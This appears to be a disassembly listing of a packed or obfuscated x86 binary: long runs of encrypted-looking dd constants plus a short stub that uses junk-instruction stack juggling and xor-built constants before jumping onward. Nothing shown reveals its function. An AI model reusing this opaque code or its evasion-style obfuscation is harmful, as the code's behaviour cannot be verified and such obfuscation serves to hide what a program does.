		dd 5B0333Ah, 0F118D894h, 0EB90769h, 42E03E38h, 0F7FA5852h
		dd 6712919Ch, 134DF1F6h, 67F26470h, 668EFF1Fh, 756FF3E0h
		dd 22B69327h, 4A9877E1h, 3F0B6B58h, 22C7AA79h, 0A78h, 0A846B2A5h
		dd 0BC5AC4B8h, 0D472D4CCh, 0EA88EEE4h, 0FF9D05FAh, 0D0C53792h
		dd 0E3DACA68h, 0F8F1E17Fh, 100AFA98h, 0B41514B2h, 12B1B43h
		dd 0BD0F2276h, 0CB7150Fh, 74DE3C36h, 83E1DB91h,	0AA0802D8h
		dd 0EC56BCB2h, 5535EC09h, 1D7F2A81h, 53E71D8h, 6A170000h
		dd 0C435E063h, 69F11904h, 318F895Fh, 0EF9AE8C7h, 23C11F19h
		dd 2ABA0E80h, 62CE2DD3h, 0E07458C1h, 5FD9034h, 0B24AA0A3h
		dd 18767048h, 29A0976Dh, 15190B8h, 0B9519F76h, 6669C7C1h
		dd 72C3A610h, 76015146h, 822DB4B7h, 137A0C11h, 0FDEF3D70h
		dd 793F6EB4h, 0C9BD6245h, 54000009h, 6757F561h,	7B6B0973h
		dd 93832183h, 0A999379Dh, 41AE4CB4h, 177F74E6h,	2E928979h
		dd 47A7A090h, 61BFB9A9h, 0F263C4C3h, 76012CCAh,	0F6CBED1h
		dd 0FEB4B715h, 0FA229304h, 16FE907h, 0FB181BB3h, 0CE26444h
		dd 6C49B313h, 0D81D7F15h, 48F5Ch, 48740200h, 0B96FE907h
		dd 13842FB2h, 69F11919h, 0E8A92698h, 9891EDE0h,	56014F2Eh
		dd 8A288680h, 3F42A09Ah, 0AF5AE9E4h, 1373393Eh,	51461C70h
		dd 0C7DE6E9h, 6FF374E4h, 9B059DEBh, 2B7C6EBCh, 0BA793F64h
		dd 92E32D7h, 0FCEF0000h, 0E02F290h, 1E1606A4h, 382E1EBCh
		dd 4F4434D2h, 7DDC49E7h, 14B21A0Fh, 2BC92D24h, 44E2423Bh
		dd 5EFC5A54h, 658DFE5Fh, 7476012Ch, 150F0F61h, 7AEB5E57h
		dd 6FE90752h, 0DB730B59h, 0CA2822D8h, 0EB55491Fh, 0CA819E81h
		dd 7EBF16EAh, 0DEB4D81Dh, 287E81E9h, 0FFE40C7Dh, 9DEB6FE8h
		dd 3E2FA33h, 74A00000h,	6FE9074Eh, 7E29B8B3h, 0D3FB6CF5h
		dd 0DA6FE907h, 0ACAF228Ch, 5969F118h, 908A600Bh, 1F15DDD2h
		dd 0C860B6B9h, 39D76FC5h, 46F14F49h, 0C9BE94D4h, 0AE18486Bh
		dd 3D962CBh, 52A8AB09h,	1A397BFh, 46D91176h, 0F6144392h
		dd 0C23FA9F7h, 48D38CBh, 3DD03A2Eh, 7601D015h, 1D7D7624h
		dd 0C22CC41Ah, 0DED8AE37h, 0BD277D80h, 13E9BD4Ah, 0A617A070h
		dd 6FF3F67Eh, 23943F8Dh, 6FF3F6FBh, 6B4AB402h, 6164C4BDh
		dd 0F65F87F8h, 206E6FF3h, 27FEF088h, 32793EE2h,	82EAA4Fh
		dd 0FCEF0000h, 0E02F290h, 1E1606A4h, 382E1EBCh,	4F4434D2h
		dd 7DDC49E7h, 14B21A0Fh, 2BC92D24h, 44E2423Bh, 5EFC5A54h
		dd 658DFE5Fh, 7476012Dh, 865C0F61h, 0D0262991h,	36948E66h
		dd 58C0B58Bh, 5B550BEEh, 25DEFAFDh, 1E7C7645h, 49A40173h
		dd 34930D3h, 4DA3A60Eh,	0D8CD4BB5h, 0D81E0F81h,	7C8h, 0DD206E00h
		dd 0CE000002h, 0E9074E74h, 4F33A56Fh, 0C964FC0Eh, 3F2EAB15h
		dd 4D1618A8h, 0BA3B9F0h, 85E5EF60h, 0FB8469F1h,	17A628Ah
		dd 0B11B6976h, 50D984D2h, 0B51F837Ah, 2F25E3DDh, 85AD1EC9h
		dd 9476017Ah, 2010AE46h, 5CC5C826h, 7A3A62D3h, 0F3417601h
		dd 82010C89h, 93D966D7h, 0F37C7013h, 0F35C5A82h, 0B9B3616Fh
		dd 7A59C35Bh, 7BE13A2Ch, 8164793Fh, 753DCh, 6BD7CA00h
		dd 7FE9DDCDh, 97F9F1E1h, 0AD1309F9h, 0C22A1F0Fh, 0EA58B724h
		dd 0FFEF8DF5h, 1606A408h, 2F1FBD1Dh, 3A39D735h,	2E4068D9h
		dd 3C4F7601h, 0B7150FEAh, 9304FEB4h, 771990Ah, 2A786FE9h
		dd 0E9076F97h, 85307E6Fh, 0E907EC14h, 0DA5F36Fh, 0FA5C540Ah
		dd 0E34D41F7h, 0C5A51EE0h, 5F3FF856h, 9A389690h, 1D7B4EA5h
		dd 795D8h, 203B0000h, 1F8h, 74D74CEh, 32A46FE9h, 0DCF52644h
		dd 0A01D8714h, 0FA6B16ADh, 69F1E1E5h, 754BF644h, 8F7F1D7Bh
		dd 0D9343795h, 94F8EFD2h, 0F8A33B91h, 70682A22h, 1D73760Eh
		dd 2AB728B3h, 0FB7013F8h, 0F2F5534Dh, 0F712049Ch, 32793EDFh
		dd 692AA4Fh, 988B0000h,	0AA9E8E2Ch, 0BAB2A240h,	0D4CABA58h
		dd 0EBE0D06Eh, 1978E583h, 0B04EB6ABh, 0C765C9C0h, 0E07EDED7h
		dd 0FA98F6F0h, 1299AFBh, 876012Fh, 150FA3F5h, 3E360CB7h
		dd 8C24827Ch, 8F893F22h, 7578D8D1h, 6884871Fh, 600CFAFh
		dd 7F8BFDA8h, 6CD2C81Ah, 0CB5A9AD8h, 6A40E361h,	0C8A50F73h
		dd 0D81E0171h, 7B8h, 3D205E00h,	0CE000001h, 3A62D35Ch
		dd 416FE907h, 0EF1689F3h, 526FE907h, 73058C9h, 0DE3F6FE9h
		dd 0E907456Dh, 6E06546Fh, 72A52C3h, 0E3316FE9h,	12F1FC79h
		dd 741FB71Bh, 0F118E603h, 3EE93769h, 0A50F6F68h, 0D94A441Ah
		dd 1254068h, 7564BA76h,	34C20715h, 0B14FE735h, 6669C7C1h
		dd 0D681000Bh, 5C012D64h, 53BDC38Ch, 3FCA57C8h,	0D5B7013h
		dd 3F97E41Bh, 0A94E3179h, 5B0h,	700E7A6Dh, 84228C80h, 9C3A9C94h
		dd 0B250B6ACh, 0C765CDC2h, 988DFF5Ah, 0ABA29230h, 0C0B9A947h
		dd 0D8D2C260h, 7CDDDC7Ah, 130E30Bh, 85D7EA76h, 71BB150Fh
		dd 56982E4Dh, 7C3235CDh, 0F0792482h, 0E991577Fh, 0AE18666Fh
		dd 830CAFCBh, 0E991EA12h, 0A0FEF86Fh, 0FE48479Dh, 0A7481011h
		dd 0D03AD269h, 86804F2Fh, 0ED48B02Ch, 0A59C044Fh, 7311A941h
		dd 1E4D277Eh, 22931CD8h, 6FE9CDFAh, 1049B301h, 7, 3E20B6h
		dd 0FCE0000h, 4BB4B715h, 72951C2h, 0E2306FE9h, 4CA6A078h
		dd 9BEC74BDh, 0B223CEBEh, 6FE96A8Ah, 0A8AB4391h, 32B4944Bh
		dd 0FD00665Ch, 6B653DA7h, 6A6189FAh, 1A686FE9h,	2B05E482h
		dd 0B3000000h, 0B4B7150Fh, 0E9073663h, 0F4CA536Fh, 8F309AFCh
		dd 88E6E0AFh, 0AE0E07DDh, 9CFCF5ABh, 0AB4399h, 0E907678Fh
		dd 0BE28766Fh, 865CEC40h, 70D0C991h, 9C966ED8h,	0EDE03B3Eh
		dd 153AAB56h, 0F469F118h, 72FBA6h, 0D9D50AA0h, 244E92EDh
		dd 0CF075FF3h, 0F4EEC630h, 0C979EB96h, 0D9BC826Dh, 11017FE9h
		dd 4DB6B917h, 0EF208077h, 0BBAD9E09h, 59D640D8h, 0F9E1D352h
		dd 68703DAEh, 0B5244CBDh, 0DD2B7601h, 75299A45h, 947009C6h
		dd 4299B46h, 0AA613379h, 0AC35C02Ah, 7679E1D6h,	0C26B8C20h
		dd 0F0E6222h, 79D3CDA5h, 0D2D967A2h, 968D856Eh,	0CFC9A32h
		dd 8009B412h, 23564A0Eh, 0B447751Ch, 6FE9AF8Ch,	0AF4E76E7h
		dd 0F5D6FE9h, 163EAF10h, 256FE9AFh, 0F2D53FD7h,	0B6AD9497h
		dd 860FBA52h, 4FF68614h, 5061F557h, 2699030Ch, 69FBE765h
		dd 996456A4h, 7073370Fh, 3EEE88Dh, 3C2F0000h, 4E4232D0h
		dd 5E5646E4h, 786E5EFCh, 8F847412h, 0BD1C8927h,	54F25A4Fh
		dd 6B096D64h, 8422827Bh, 9E3C9A94h, 0A5CD3E9Fh,	0B4760132h
		dd 0EA5C4FA1h, 86D2BF9Bh, 8961CBE9h, 0A393318Fh, 92484BA9h
		dd 1B373A98h, 0B9B38262h, 0DF3EB05Bh, 2BD38EE8h, 31998E86h
		dd 0F06ED82Eh, 1983774Dh, 717BD2AFh, 0E770D81Eh, 0E9F24E76h
		dd 0A50F5D6Fh, 306Ch, 636A1200h, 0EBC435E0h, 3269FB4Bh
		dd 6A6339E4h, 0B7E16C0Ah, 0CD75FB54h, 0E7D775D3h, 0D3372EEEh
		dd 70E67AD0h, 0C5312936h, 26CBCE66h, 34Ch, 62D35CD4h, 6FE9073Ah
		dd 476FE041h, 566FE907h, 89067008h, 0E354FF82h,	69FB0DA6h
		dd 0B06669B7h, 0F85558B6h, 355DCE57h, 4475FB11h, 0A505FEF6h
		dd 46BA9A3Bh, 3B11BC47h, 335BCC45h, 3A75FB11h, 5FEA54ECh
		dd 0D17B1EEh, 0F492E070h, 2AD56C5Fh, 0FB0D7CB9h, 3C3F8D69h
		dd 26299186h, 575026CFh, 0CEC8DF7h, 630E9598h, 0D17B5F2h
		dd 0F896E470h, 0ADB00E08h, 19FFDF7h, 37E2616Ch,	0FB1E09C6h
		dd 0E7EA3869h, 0FB226A96h, 6DDFA275h, 0B0C1538Ah, 6BE6E748h
		dd 75E8FD91h, 0F076BB9Fh, 24BC3389h, 0B73919BAh, 1E88E8E1h
		dd 3014EA41h, 4931DEh, 5CD70000h, 0BF299186h, 0DB84B42h
		dd 0FB119B9Ch, 9E68B269h, 0EE15CBA4h, 5AABAE46h, 75FB3B2Eh
		dd 0E8EB4B44h, 0D3D63C32h, 0B31EFEB7h, 0AE0EC941h, 6D43DB2Ch
		dd 0A932B494h, 0FBD01038h, 67D11F75h, 3044338Ah, 0E17ADEh
		dd 5C200000h, 73A62D3h,	0F7416FE9h, 337E04C9h, 64CE66F8h
		dd 3134928Ch, 0C5BE867Bh, 61CACD65h, 3033918Bh,	96BE2FDAh
		dd 0A56FE934h, 1B15ED57h, 0A04BABDh, 70830EACh,	0C46FE92Fh
		dd 0DECE6CCAh, 288386E4h, 0E04A3E25h, 44EF87DDh, 0FB4E1AD3h
		dd 71E24369h, 75FB1249h, 0CC6A0250h, 0CABEB729h, 0FCC14FEDh
		dd 8B161592h, 0C3D96FE0h, 0E344700Fh, 1EB1170Dh, 6FEFBCF6h
		dd 741FB705h, 0C9F162EBh, 246FEFBCh, 0EFBC8BB3h, 4544926Fh
		dd 0C0B58DF7h, 0D5CABA58h, 1B787B6Dh, 9A7D7943h, 1B3F5h
		dd 0B776A00h, 1F897D6Dh, 37999181h, 4DB3A999h, 62CABFAFh
		dd 8AF857C4h, 9F8F2D95h, 0B6A644A8h, 0CFBF5DBDh, 0DAD977D5h
		dd 34E00879h, 0DCEF7601h, 0B21A0F8Ah, 91289507h, 80C6D75Fh
		dd 0AEA89816h, 6A5EB250h, 0AC35E063h, 0E907133Bh, 746C1A6Fh
		dd 85107A12h, 0FB121314h, 0E9EC3A69h, 52B0AA80h, 4D75E64Fh
		dd 5C75FB1Eh, 5ACB760Eh, 75FB1E32h, 0E81EB39h, 75FB1EE2h
		dd 8D61411Ah, 0DE2F9236h, 0AB7Dh, 0D35C2300h, 0E9073A62h
		dd 0EB53486Fh, 5C349EECh, 98010462h, 0FF69C9C2h, 0C7CA3227h
		dd 0E9026376h, 71CFC96Fh, 8BE9E3D3h, 0A33E2D88h, 28CE87F8h
		dd 0B1FF69FBh, 0F88F7E13h, 99EA13B3h, 1C63D093h, 0FA2621Ah
		dd 0C334DF77h, 70102A8Ch, 0F984391h, 77E13F39h,	0A442AA9Fh
		dd 0EF5BBFB4h, 0EC509C78h, 0E27F7109h, 777943A7h, 0C2EF94h
		dd 685B0000h, 7A6E5EFCh, 8A827210h, 0A49A8A28h,	0BBB0A03Eh
		dd 0E948B553h, 801E867Bh, 97359990h, 0B04EAEA7h, 0CA68C6C0h
		dd 0D1F96ACBh, 0D8760135h, 1A0F73C5h, 2A2414B2h, 524B21CCh
		dd 0B60A88F2h, 5E57150Fh, 4043A79Eh, 0B7BA52EAh, 1A84784Eh
		dd 9062C517h, 0FA664D19h, 2620F862h, 96952AC8h,	47EF600Bh
		dd 5669F1C9h, 554F0508h, 52C34CF7h, 7601B52Ah, 0DCDF3F38h
		dd 0CF398786h, 9676151h, 2C92885Eh, 8669D329h, 0ADFE4C35h
		dd 0A6863D81h, 0FB6CDDD7h, 824DFFD3h, 70E18CDAh, 824DFF48h
		dd 0D3710957h, 888BE9E3h, 7376DCD2h, 0AE7D5D1Ch, 0C8B856B4h
		dd 0C86D70CEh, 8, 340A9576h, 3571DB3Bh,	0ADB01C0Fh, 9C9FFDF7h
		dd 8A8DEDE6h, 7679DDD4h, 6063CBC0h, 4A4DB5AAh, 35389E94h
		dd 2225877Fh
		dd 0B0E786Ch
		db 4Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, 7AA863C7h
		dec	eax
		or	eax, 352250A6h
		push	edx
		mov	edx, 1CF57FD3h
		neg	edx
		shl	edx, 4
		shl	edx, 6
		xor	edx, 20BD370Ch
		xor	edx, 6183C1B2h
		xor	eax, edx
		pop	edx
		or	eax, 21E32AD9h
		shl	eax, 6
		add	eax, 88492980h
		push	4E1Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		db 7Dh,	1Dh, 0E8h
		dd 65E319F0h, 182F33B8h, 0FFC50306h, 15E830E0h,	579A533Fh
		dd 18287A57h, 9036467h,	0DCF71203h, 0A738176Eh,	8BE3FD5Ch
		dd 3E716100h, 0B7962A68h, 3C0E7928h, 38A7A37Dh,	0EAEEC25h
		dd 81BDC033h, 7D11686Eh, 1B9BEA46h, 2AC7703Ch, 0EF70F929h
		dd 9ABE3A24h, 0A96CCB56h, 0AD1CA67Eh, 10D8B34Ah, 0FC87F56Eh
		dd 9369913Fh, 52317D0Ch, 11E83Eh, 0FFD10000h, 21D3A6EBh
		dd 660983BFh, 725F940Ah, 5965456Bh, 0E1C181F5h,	0E800005Fh
		dd 5, 0A8BBE64Ah, 58C68BF6h, 8B66DB33h,	19148BC1h, 0F281F88Bh
		dd 1E297525h, 8168DC80h, 57C34BC2h, 0E681664Bh,	0C28115A7h
		dd 777390AAh, 19048F52h, 61FAB860h, 0BE66163Fh,	66610AA9h
		dd 1171E881h, 5003EB83h, 0E84B5FF5h, 13h, 0E0555742h, 0D1ADD477h
		dd 40CE076Eh, 7E2CF328h, 582F4C5Eh, 0A0A8FB81h,	850FFFFFh
		dd 0FFFFFFA1h, 8DC68B66h, 1831938Dh, 8D89FC06h,	61209A1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CBC35646h
		dd 4EB2637Eh, 0CCC97F56h, 9D98529h, 85C70612h, 6120505h
		dd 72BCh, 21EDB58Bh, 85C70612h,	6121BD9h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 37C35242h
		dd 0AC0C6633h, 0B589A030h, 6123101h, 50DB5FFh, 0B70F0612h
		dd 3195FFD8h, 6A06121Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 755FC350h, 28B19529h
		dd 6A0612h, 19CD95FFh, 0C08B0612h, 4AA209EBh, 0EFB22AA0h
		dd 0E9D51D58h, 182h, 312F7445h,	1AD52C27h, 46B198D3h, 0B4CAD1D7h
		dd 5B7E41EFh, 5D9752E4h, 0FCA3FB6Dh, 9EB99244h,	0BCD792A5h
		dd 93B9E495h, 9DB2CB00h, 9CACA3F4h, 9EB9FCh, 0AFC945D2h
		dd 0FC00EE73h, 9CBA9755h, 0A4E56D59h, 0FEACFFB2h, 5657F647h
		dd 0CCD4C4h, 8F7DB5F6h,	539549F7h, 0C9BCFA97h, 915CCD45h
		dd 0ACE56CA1h, 10000h, 43h dup(0)
		dd 6D849700h, 69F033A2h, 0EEh, 6CE90000h, 68000010h, 61834F7h
		dd 0FB17C1E9h, 35F968FFh, 0B7E90618h, 68FFFB17h, 61837AFh
		dd 0FB17ADE9h, 387468FFh, 0A3E90618h, 68FFFB17h, 61839B6h
		dd 0FB1799E9h, 3A8168FFh, 8FE90618h, 68FFFB17h,	6183B45h
		dd 0FB1785E9h, 3BAD68FFh, 7BE90618h, 68FFFB17h,	6183CE0h
		dd 0FB1771E9h, 3D6468FFh, 67E90618h, 68FFFB17h,	6183E6Bh
		dd 0FB175DE9h, 3F2668FFh, 53E90618h, 68FFFB17h,	6183FDDh
		dd 0FB1749E9h, 413668FFh, 3FE90618h, 68FFFB17h,	618422Ch
		dd 0FB1735E9h, 3C6240FFh, 3B6B3A84h, 396D3983h,	35693781h
		dd 3670337Dh, 0A3620E7Eh, 0A4EEA600h, 0A1EBA3FBh, 0A1EBA303h
		dd 0C6E69E00h, 9A4FB5CBh, 8402B399h, 7A247D07h,	794160EAh
		dd 3DF5636Bh, 14CC9FF7h, 1F10F300h, 7362F9A0h, 772754ADh
		dd 2A32E94Ah, 48398C94h, 93FF4532h, 0AF3FF2BBh,	6FB78D57h
		dd 1AFFFB4Ch, 419C6DEAh, 46076Ah, 0ACF40000h, 0FF9F02F7h
		dd 0FF253B2Ch, 724C6F8Fh, 0B3D96CBFh, 0BCD2C386h, 0BB93C10Fh
		dd 4AC2BE4h, 77C982F0h,	0B637DD2Bh, 564F4C6Ch, 3EE3C050h
		dd 0E093388Bh, 0B62CF850h, 0A09C4C6Ch, 9FCC8BBBh, 0D4A86A42h
		dd 0F3000000h, 0EA7A247Dh, 0B0A470EFh, 4333D122h, 733370F0h
		dd 564859E3h, 39653CC6h, 0A60048h, 79DDF5ADh, 81B58165h
		dd 26F69A20h, 1B8E6BBh,	5D30A1C2h, 58465BA5h, 844774C8h
		dd 0B21DA93h, 0B581E1E5h, 452A558h, 0BB93E29Fh,	51651DD0h
		dd 0B3EBB420h, 3ED9EFE0h, 1B42781Fh, 5BE7768h, 583309EFh
		dd 63436146h, 4D4E27BEh, 2787B9CCh, 22810154h, 2182CC84h
		dd 0DE11C785h, 89213ADAh, 0E03B1h, 702E7400h, 6F376EB8h
		dd 6D396DB7h, 69356BB5h, 6A3C67B1h, 0D72E42B2h,	0D822DACCh
		dd 0D51FD7C7h, 0D51FD7CFh, 0FA1AD2CCh, 9D03E9FFh, 0B836B399h
		dd 62267D3Bh, 81A9A44Ch, 13E699B5h, 0D47AA322h,	8B80CAF8h
		dd 64B78A14h, 5F3F62ACh, 237B266Eh, 0B3BB18D0h,	0BCD2C386h
		dd 0BB93C10Fh, 5C722BE4h, 4C6C41B4h, 40A8F6A9h,	0F54C6C41h
		dd 0C0930B95h, 2415C86Dh, 0ABC1C7DCh, 4C6C4145h, 0F27245F8h
		dd 0C9CEFAFh, 6C4170B4h, 0C75C584Ch, 5D495AA2h,	0D699BE0Ah
		dd 0B2DB6A41h, 26000000h, 15DCC40Ch, 0A9861690h, 9E0383D6h
		dd 0BDE67000h, 550159E9h, 0A5B581AEh, 69B1A2FCh, 0FAD76737h
		dd 0EC34EFA7h, 815EEEB8h, 0ABF3AE2Eh, 0D7BAC71Bh, 56ABD0E6h
		dd 850446Ch, 11B6099Dh,	6192A65Eh, 4F9BB1A2h, 0EE427BA8h
		dd 7B914A3Bh, 4658F895h, 0D1C215C8h, 0D48C1A89h, 0CF8D198Ah
		dd 3ADAE213h, 1AF871Fh,	7600000Dh, 70BA722Ch, 6FB97135h
		dd 6DB76F37h, 69B36B33h, 44B46C3Ah, 0DCCAD92Ch,	0D9C5DA24h
		dd 0D9CDD721h, 0D4CAD721h, 0EB01FC1Ch, 0B3999C05h, 7D3DBA38h
		dd 41809C26h, 15F5B7FEh, 61408A42h, 7D934C3Dh, 0B5816597h
		dd 0CC417CAh, 7A247DAFh, 0FAA7EFEAh, 0B73714A4h, 0E363B6E8h
		dd 34F9FCBEh, 6D8A883h,	78C07B33h, 9E67628h, 7C5F6CB6h
		dd 0DFE4758Bh, 6619BB93h, 0C93DBD6h, 37F13F92h,	954C6FCFh
		dd 26DF8099h, 8EDCC2DEh, 4C6FCF66h, 0CB7128DBh,	0A2C545C3h
		dd 0BF98E437h, 0B56A4144h, 0A8h, 2DD3E9A2h, 204C6F2Fh
		dd 0C871A6Dh, 0A64F188Dh, 53ABE1h, 0D5C685B6h, 3D90168Dh
		dd 3C35364Ch, 45FEBB93h, 248E768Ch, 10C34C6Fh, 6F245AC2h
		dd 95C0F4Ch, 2621B164h,	24B1576Dh, 0F1A44C6Fh, 2494509Eh
		dd 0F8F44C6Fh, 2D74E363h, 55006A41h, 0ED000000h, 51A4FAA5h
		dd 0C386B3BEh, 0CFD119D2h, 5D2E7CCFh, 96BB93C1h, 0BF4F574Eh
		dd 37EA8FE2h, 41954FA7h, 0F34C6Ch, 57AFD981h, 0B2052E93h
		dd 0B6FEA3B8h, 1460B3EBh, 6A42A943h, 0A4014902h, 884CB402h
		dd 4E014C6Ch, 1039FBh, 0A7260000h, 0F34FD3C5h, 6F025503h
		dd 8C62Fh, 86B39200h, 4DBCD2C3h, 0F2BB99DCh, 589775Bh
		dd 948F6B01h, 0BF3BF239h, 5D4E2140h, 0DEF48C15h, 4C664E36h
		dd 0EDA5782Bh, 10A0FEA3h, 0DBCC8FBCh, 7E3C39C5h, 51672042h
		dd 464E1FABh, 0E4FAEB9Eh, 464E1F3Ch, 862B7E31h,	79AE2D3h
		dd 0C95DF97h, 9DAE0292h, 0CAB7CDBEh, 6B485C0Ch,	1516FAB8h
		dd 0A84024BEh, 0B4BD0h,	28762C00h, 277F2670h, 2581256Fh
		dd 217D236Dh, 22841F69h, 8F76FA6Ah, 90DA9214h, 8DD78F0Fh
		dd 8DD78F17h, 0B2D28A14h, 9E7BA1B7h, 70EEB399h,	0AA75AFF3h
		dd 2E5BB581h, 0BFFB7A6Bh, 8B153DFBh, 7A332477h,	8845ABC1h
		dd 61F84A7Eh, 463532BBh, 8EE1B4ABh, 664AD140h, 1BD38644h
		dd 2617FA07h, 7E84F910h, 0AA9B4E42h, 0A75F3F62h, 0A402A4ECh
		dd 0CED0D151h, 0FAD9EA3Eh, 0D23A5009h, 87464E85h, 7A9081D4h
		dd 4856F7FCh, 0CA324819h, 7F583753h, 0C008F9CCh, 84CCBDE1h
		dd 0AA526820h, 9F583753h, 0AC8919ECh, 4A57A159h, 0BA6CC454h
		dd 16D83753h, 1F3526E5h, 0D625541Ah, 7CDA984Bh,	16AEA746h
		dd 0A86A67Eh, 0B1F10000h, 0BAEB35EDh, 0BCEA34ECh, 0B8E832EAh
		dd 0BFE42EE6h, 0B1BF2FE7h, 0A1594D56h, 9E564857h, 9E565054h
		dd 99514D54h, 80687E79h, 0B5B39991h, 86B3BA37h,	87178F16h
		dd 0F3C665C6h, 1BEE1980h, 0D2415748h, 3BBB996Bh, 5C5697BCh
		dd 4CA55C4Ah, 762EAE3Eh, 70C3A030h, 6E2718CBh, 8C799FB5h
		dd 39EC4C69h, 0B63B66E6h, 2DE5B8EEh, 50E0BEE3h,	1B0CCFFCh
		dd 71FE0A05h, 9B8C3F42h, 98504E53h, 89E534Eh, 5A826A80h
		dd 4B7464Eh, 7ACE5E31h,	83998A49h, 485628CBh, 9D5647FAh
		dd 0A5A61B1Eh, 2E7C071Eh, 583637C6h, 5848C87Bh,	0BA02F346h
		dd 0B5FFB7E7h, 0CA22B2ECh, 5836371Eh, 95864576h, 2E45D47Fh
		dd 346DB556h, 46FDDA6Ah, 0A7CFBB41h, 11B609E8h,	7C256D5Eh
		dd 0CF354B04h, 82521E67h, 679B81CFh, 1BCE521Eh,	569E5748h
		dd 0EAC7574Fh, 1E67749Ch, 75C6D752h, 0C0265254h, 5D15681Bh
		dd 80108E13h, 108F1F2Ch, 11CABB8Eh, 55DA4258h, 2D43521Eh
		dd 521E55C7h, 0C222C77Ah, 5835C5E1h, 2DE43285h,	225C0627h
		dd 7E8BDF6Fh, 18EBB3EEh, 0B481127h, 4AFD5A14h, 7601BC8Ch
		dd 4E26BE12h, 944h, 772F6F33h, 762E782Dh, 742C7A2Ch, 7028762Ah
		dd 71297D26h, 0B986F01h, 699E39Bh, 0E96E098h, 0B96E098h
		dd 0C0BBDB93h, 999042AAh, 0FC79F7B3h, 0EA7A247Dh, 0CD5D4160h
		dd 10C0597Dh, 3F550D91h, 642FBF18h, 38C1E52Dh, 0CDAA3A6Ch
		dd 3A8D6AFAh, 2678h, 871D6500h,	0C39CC1Fh, 82DFDBC4h, 0B5A9001Eh
		dd 0EBB43407h, 0F34623B3h, 52F25h, 3AAB2A00h, 704AC84Bh
		dd 73D265B8h, 834673A5h, 0D23B7C92h, 0A95CBB93h, 0A3EBDFEFh
		dd 4357160h, 0F13E5445h, 0A69D71DDh, 0E20F63F3h, 3182E1Fh
		dd 349B58FFh, 8FD79081h, 980E8E10h, 4EA17E0Eh, 13CBD3CEh
		dd 8C19D8C9h, 9C0A9A1Ah, 9E5C2F0Ch, 0D3B9E594h,	79562EC6h
		dd 0FE000008h, 0F842FAA4h, 0F741F9ADh, 0F53FF7AFh, 0F13BF3ABh
		dd 0CC3CF4B2h, 644261A4h, 613D62ACh, 61455FA9h,	5C425FA9h
		dd 738984A4h, 0B399938Dh, 0CC542C0h, 0A9D73D53h, 6E78B581h
		dd 8108E89Bh, 2E75D57Ah, 0D252A578h, 0B53FCFCFh, 9950BEEh
		dd 0F2B4EF79h, 0DFB28562h, 23E61327h, 8CAB1C32h, 0D98CBB99h
		dd 9D01A0E8h, 613D64ACh, 8CB25A70h, 0F4A74C69h,	29FE9A1h
		dd 3D63AB9Ch, 0E0BEE161h, 98A9FD8Dh, 5FB2C8B9h,	0A04271FEh
		dd 0CB5B4B58h, 1C5437EEh, 10BC9EDEh, 746518BDh
		dd 763073BBh, 0A6F9ADF6h, 6B237B26h, 8E1E8021h,	39EF1493h
		dd 9BE8297Dh, 0CA1D891Bh, 8F4D594Ah, 3ACC7C85h,	0B53D15ADh
		dd 0C2000007h, 0BC06BEE0h, 0BB05BDE9h, 0B903BBEBh, 0B5FFB7E7h
		dd 9000B8EEh, 287E25E0h, 25792670h, 2581236Dh, 207E236Dh
		dd 374D4868h, 0B39992D1h, 0B3890684h, 0BCD2C386h, 0BB99DB41h
		dd 995243F6h, 1D335551h, 4C6667F7h, 91E4B76Ah, 560E9011h
		dd 7909950Ch, 44351425h, 7404B92Eh, 4D0BBE42h, 3AD61ED1h
		dd 4DF1C961h, 2A000007h, 246E2678h, 236D2581h, 216B2383h
		dd 1D671F7Fh, 0F8682086h, 90168D78h, 8D118ED8h,	8D198BD5h
		dd 88168BD5h, 9FB5B0D0h, 0B3999279h, 7DF16EECh,	0EFEA7A24h
		dd 768CFCA7h, 0B581A98Eh, 0AD3D10C3h, 0A4FD7DD0h, 0FF1A6AFAh
		dd 0CE2D4080h, 3FBFB64Dh, 0F2EC3F67h, 0A6F8A969h, 5D7FD8EEh
		dd 14F5642Fh, 40000000h, 0A5DBC40Ch, 81A9698Fh,	5629DCB5h
		dd 3323503h, 7D980000h,	96EA7A24h, 8A728865h, 0BFB581A9h
		dd 3248390Ch, 0BB99DCDFh, 0DBCBD820h, 9312E388h, 3D3E2EB4h
		dd 0BB61AF4Fh, 0AE4C664Ch, 0B57028FBh, 0DD6D396Dh, 742DAD00h
		dd 0F9AE7F46h, 9063A401h, 792D7600h, 0BD9CADC1h, 0A17CB6CCh
		dd 5E11427Eh, 237B256Dh, 0AFC5B693h, 464EE149h,	5F649FCh
		dd 2BAE4BDh, 25B5E9B8h,	0EACDAB2Ah, 38E1071Dh, 0A154464Eh
		dd 0DC356AEAh, 0C9A0989h, 43C79C1Bh, 3B23D955h,	155D58E8h
		dd 6A3C6891h, 9A2AFDDAh, 13206ABDh, 3E863F30h, 0D0AD3D61h
		dd 8962F7Dh, 0CE9F485Ch, 3C1850B8h, 0A50558h, 4D53D3A6h
		dd 98C07E51h, 0CA24BE05h, 61A5A32h, 455D0000h, 4E57A159h
		dd 5056A058h, 4C549E56h, 53509A52h, 452B9B53h, 0DC5E1C2h
		dd 0AC2DCC3h, 0AC2E4C0h, 5BDE1C0h, 2CD4EAE5h, 21B39995h
		dd 247D26A3h, 4160EA7Ah, 7B246C5Dh, 0E7772F76h,	1680370Ah
		dd 5121902Eh, 22AC3C8Fh, 6EE0484h, 3BB58181h, 9B25B588h
		dd 78099905h, 74BACD56h, 9A07CB50h, 21364C04h, 53642F93h
